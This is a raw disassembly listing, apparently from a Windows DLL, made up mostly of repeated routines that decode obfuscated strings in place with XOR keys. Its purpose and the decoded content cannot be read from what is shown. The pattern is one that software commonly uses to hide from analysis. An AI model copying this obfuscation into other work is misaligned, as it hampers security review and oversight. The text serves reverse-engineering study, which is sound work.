xor byte [rbp + 0xf76], 0x38
xor byte [rbp + 0xf77], 0x39
xor byte [rbp + 0xf78], 0x3a
xor byte [rbp + 0xf79], 0x3b
mov byte [rbp + 0xf70], 0x46
xor r9d, r9d
lea rdx, [rbp + 0x830]
mov r8b, 1
lea rcx, [rbp + 0xf70]
call fcn.180003bf0
cmp byte [0x18023c11b], sil
jne 0x18009630f
mov eax, dword [0x1801b7d14]
lea r8, str.Head
mov dword [rbp + 0x50], eax
lea rdx, [0x18023bed8]
movzx eax, byte [0x1801b7d18]
lea rcx, [rbp + 0x50]
xor byte [rbp + 0x51], 0x33
xor al, 0x36
xor byte [rbp + 0x52], 0x34
mov r9d, 3
xor byte [rbp + 0x53], 0x35
mov byte [rbp + 0x54], al
mov byte [rbp + 0x50], 0x42
mov dword [rsp + 0x20], r13d
call fcn.180006ae0
movzx eax, word [0x1801b7d28]
lea rdx, [0x18023c13c]
movsd xmm0, qword [0x1801b7d20]
lea rcx, [rbp + 0x13a0]
movsd qword [rbp + 0x13a0], xmm0
xor byte [rbp + 0x13a1], 0x33
xor byte [rbp + 0x13a2], 0x34
xor byte [rbp + 0x13a3], 0x35
xor byte [rbp + 0x13a4], 0x36
xor byte [rbp + 0x13a5], 0x37
xor byte [rbp + 0x13a6], 0x38
xor byte [rbp + 0x13a7], 0x39
mov word [rbp + 0x13a8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x13a8], 0x3a
xor al, 0x3c
xor byte [rbp + 0x13a9], 0x3b
mov byte [rbp + 0x13aa], al
mov byte [rbp + 0x13a0], 0x54
call fcn.1800031c0
cmp byte [0x1801b7d3d], sil
mov eax, dword [0x1801b7d38]
movsd xmm0, qword [0x1801b7d30]
mov dword [rbp + 0x1948], eax
movzx eax, word [0x1801b7d3c]
mov word [rbp + 0x194c], ax
movsd qword [rbp + 0x1940], xmm0
je 0x180096500
mov r8d, esi
cmp r12d, 2
jl 0x1800964b7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7d30]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1940], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1944]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1944], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1940]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800964d0
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rbp + 0x1940]
call fcn.1800031c0
cmp byte [0x1801b7d4d], sil
mov eax, dword [0x1801b7d48]
movsd xmm0, qword [0x1801b7d40]
mov dword [rbp + 0x1958], eax
movzx eax, word [0x1801b7d4c]
mov word [rbp + 0x195c], ax
movsd qword [rbp + 0x1950], xmm0
je 0x180096680
mov r8d, esi
cmp r12d, 2
jl 0x180096635
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7d40]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1950], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1954]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1954], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1950]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180096650
lea rdx, [0x18023c13e]
lea rcx, [rbp + 0x1950]
call fcn.1800031c0
cmp byte [0x1801b7d5b], sil
movsd xmm0, qword [0x1801b7d50]
mov eax, dword [0x1801b7d58]
movsd qword [rbp + 0x1578], xmm0
mov dword [rbp + 0x1580], eax
je 0x1800967f0
mov r8d, esi
cmp r12d, 2
jl 0x1800967a7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7d50]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1578], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x157c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x157c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1578]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800967c0
lea rdx, [0x18023c13d]
lea rcx, [rbp + 0x1578]
call fcn.1800031c0
movzx eax, byte [0x1801b7d70]
mov r8d, esi
mov byte [rbp + 0x2020], al
movups xmm0, xmmword [0x1801b7d60]
movups xmmword [rbp + 0x2010], xmm0
cmp r12d, 2
jl 0x180096931
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2014]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180096840
cmp r8d, 0x11
jge 0x180096970
movsxd rax, r8d
lea r9, [rbp + 0x2010]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180096940
lea rdx, [0x18023c140]
lea rcx, [rbp + 0x2010]
call fcn.1800031c0
mov eax, dword [0x1801b7d80]
mov r8d, esi
movsd xmm0, qword [0x1801b7d78]
mov dword [rbp + 0x1b78], eax
movzx eax, word [0x1801b7d84]
mov word [rbp + 0x1b7c], ax
movzx eax, byte [0x1801b7d86]
mov byte [rbp + 0x1b7e], al
movsd qword [rbp + 0x1b70], xmm0
cmp r12d, 2
jl 0x180096aa5
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7d78]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b70], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b74], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180096ac0
lea rdx, [0x18023c141]
lea rcx, [rbp + 0x1b70]
call fcn.1800031c0
call fcn.180006b10
cmp byte [0x1801b7d93], sil
movsd xmm0, qword [0x1801b7d88]
mov eax, dword [0x1801b7d90]
movsd qword [rbp + 0x1588], xmm0
mov dword [rbp + 0x838], 0x43a00000
mov dword [rbp + 0x83c], 0x436b4405
mov dword [rbp + 0x1590], eax
je 0x180096c70
mov r8d, esi
cmp r12d, 2
jl 0x180096c30
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7d88]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1588], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x158c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x158c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1588]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180096c40
xor r9d, r9d
lea rdx, [rbp + 0x838]
mov r8b, 1
lea rcx, [rbp + 0x1588]
call fcn.180003bf0
movzx eax, word [0x1801b7da0]
lea rdx, [0x18023c14c]
movsd xmm0, qword [0x1801b7d98]
lea rcx, [rbp + 0x13b0]
movsd qword [rbp + 0x13b0], xmm0
movaps xmm3, xmm7
xor byte [rbp + 0x13b1], 0x33
movaps xmm2, xmm10
xor byte [rbp + 0x13b2], 0x34
xor byte [rbp + 0x13b3], 0x35
xor byte [rbp + 0x13b4], 0x36
xor byte [rbp + 0x13b5], 0x37
xor byte [rbp + 0x13b6], 0x38
xor byte [rbp + 0x13b7], 0x39
mov word [rbp + 0x13b8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x13b8], 0x3a
xor al, 0x3c
xor byte [rbp + 0x13b9], 0x3b
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x13ba], al
mov byte [rbp + 0x13b0], 0x46
mov qword [rsp + 0x20], rdi
call fcn.180008d40
movzx eax, byte [0x1801b7db0]
lea rdx, [0x18023c150]
movsd xmm0, qword [0x1801b7da8]
lea rcx, [rbp + 0xd40]
movsd qword [rbp + 0xd40], xmm0
xor al, 0x3a
xor byte [rbp + 0xd41], 0x33
mov r9d, 0x3e8
xor byte [rbp + 0xd42], 0x34
mov r8d, 1
xor byte [rbp + 0xd43], 0x35
xor byte [rbp + 0xd44], 0x36
xor byte [rbp + 0xd45], 0x37
xor byte [rbp + 0xd46], 0x38
xor byte [rbp + 0xd47], 0x39
mov dword [rsp + 0x28], esi
mov byte [rbp + 0xd48], al
mov byte [rbp + 0xd40], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008db0
movzx ecx, word [0x1801b7db8]
lea rdx, [0x18023c144]
mov eax, dword [str.a_ZB_8]
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov dword [rbp + 0x280], eax
xor r8d, r8d
movzx eax, byte [0x1801b7dba]
xor byte [rbp + 0x281], 0x33
xor al, 0x38
xor byte [rbp + 0x282], 0x34
xor byte [rbp + 0x283], 0x35
mov word [rbp + 0x284], cx
xor cl, 0x36
xor byte [rbp + 0x285], 0x37
mov byte [rbp + 0x284], cl
lea rcx, [rbp + 0x280]
mov dword [rsp + 0x28], esi
mov byte [rbp + 0x280], 0x53
mov byte [rbp + 0x286], al
mov qword [rsp + 0x20], rbx
call fcn.180008db0
movzx eax, byte [0x1801b7dd0]
mov r8d, esi
mov byte [rbp + 0x2038], al
movups xmm0, xmmword [str.fA_RQRJ_UO]
movups xmmword [rbp + 0x2028], xmm0
cmp r12d, 2
jl 0x180096f43
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x202c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180096e52
cmp r8d, 0x11
jge 0x180096f80
movsxd rax, r8d
lea r9, [rbp + 0x2028]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180096f50
mov dword [rsp + 0x28], esi
lea rdx, [0x18023c00c]
mov r9d, 0x3e8
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rcx, [rbp + 0x2028]
call fcn.180008db0
call fcn.180006b10
call fcn.180013c40
movdqa xmm8, xmmword [0x1801bab60]
cmp dword [0x1802402a4], 1
jne 0x1800985e7
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x840]
movss xmm8, dword [0x1801baad8]
addss xmm0, xmm8
mov dword [rbp + 0x840], 0x43520000
movss dword [rbp + 0x844], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b7dd4]
lea rdx, [rbp + 0x848]
mov dword [rbp + 0x80], eax
lea rcx, [rbp + 0x80]
movzx eax, byte [0x1801b7dd8]
mov r9d, 8
xor byte [rbp + 0x81], 0x33
xor al, 0x36
xor byte [rbp + 0x82], 0x34
xor r8d, r8d
xor byte [rbp + 0x83], 0x35
mov byte [rbp + 0x84], al
mov dword [rbp + 0x848], 0x43a50000
mov dword [rbp + 0x84c], 0x4405c000
mov byte [rbp + 0x80], Ordinal_79
call fcn.18000fbb0
movzx ecx, word [0x1801b7de8]
lea rdx, [rbp + 0x850]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor r9d, r9d
movsd xmm0, qword [0x1801b7de0]
xor al, 0x3c
movsd qword [rbp + 0x1130], xmm0
mov r8b, 1
xor byte [rbp + 0x1131], 0x33
xor byte [rbp + 0x1132], 0x34
xor byte [rbp + 0x1133], 0x35
xor byte [rbp + 0x1134], 0x36
xor byte [rbp + 0x1135], 0x37
xor byte [rbp + 0x1136], 0x38
xor byte [rbp + 0x1137], 0x39
mov word [rbp + 0x1138], cx
xor cl, 0x3a
xor byte [rbp + 0x1139], 0x3b
mov byte [rbp + 0x1138], cl
lea rcx, [rbp + 0x1130]
mov dword [rbp + 0x850], 0x43a00000
mov dword [rbp + 0x854], 0x43ed8000
mov byte [rbp + 0x1130], 0x53
mov byte [rbp + 0x113a], al
call fcn.180003bf0
movzx ecx, word [0x1801b7df8]
lea rdx, [0x18023c154]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x1801b7df0]
xor al, 0x3c
movsd qword [rbp + 0x1140], xmm0
xor byte [rbp + 0x1141], 0x33
xor byte [rbp + 0x1142], 0x34
xor byte [rbp + 0x1143], 0x35
xor byte [rbp + 0x1144], 0x36
xor byte [rbp + 0x1145], 0x37
xor byte [rbp + 0x1146], 0x38
xor byte [rbp + 0x1147], 0x39
mov word [rbp + 0x1148], cx
xor cl, 0x3a
xor byte [rbp + 0x1149], 0x3b
mov byte [rbp + 0x1148], cl
lea rcx, [rbp + 0x1140]
mov byte [rbp + 0x1140], 0x53
mov byte [rbp + 0x114a], al
call fcn.1800031c0
cmp byte [0x1801b7dff], sil
mov eax, dword [str.tb5fRFRSC]
mov dword [rbp - 0x58], eax
je 0x180097250
cmp r12d, 2
jl 0x18009720d
movdqa xmm6, xmmword [0x1801bab60]
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movd dword [rbp - 0x58], xmm1
jmp 0x180097258
lea r9, [rbp - 0x58]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x180097220
movdqa xmm6, xmmword [0x1801bab60]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x2a80]
call fcn.180063310
mov rcx, rax
lea r8, [0x18023c12c]
lea rdx, [0x18023c162]
call fcn.18006e2b0
cmp byte [0x1801b7e0b], sil
movsd xmm0, qword [0x1801b7e00]
mov eax, dword [0x1801b7e08]
movsd qword [rbp + 0x1598], xmm0
mov dword [rbp + 0x15a0], eax
je 0x1800973d0
mov r8d, esi
cmp r12d, 2
jl 0x180097392
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7e00]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1598], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x159c]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x159c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1598]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800973a0
lea rdx, [0x18023c160]
lea rcx, [rbp + 0x1598]
call fcn.1800031c0
cmp byte [0x1801b7e1b], sil
movsd xmm0, qword [0x1801b7e10]
mov eax, dword [0x1801b7e18]
movsd qword [rbp + 0x15a8], xmm0
mov dword [rbp + 0x15b0], eax
je 0x180097540
mov r8d, esi
cmp r12d, 2
jl 0x1800974f7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7e10]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x15a8], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15ac]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15ac], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15a8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180097510
lea rdx, [0x18023c159]
lea rcx, [rbp + 0x15a8]
call fcn.1800031c0
mov eax, dword [0x1801b7e28]
mov r8d, esi
movsd xmm0, qword [0x1801b7e20]
mov dword [rbp + 0x1698], eax
movzx eax, byte [0x1801b7e2c]
mov byte [rbp + 0x169c], al
movsd qword [rbp + 0x1690], xmm0
cmp r12d, 2
jl 0x180097667
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7e20]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1690], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1694]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1694], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1690]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180097680
lea rdx, [0x18023c158]
lea rcx, [rbp + 0x1690]
call fcn.1800031c0
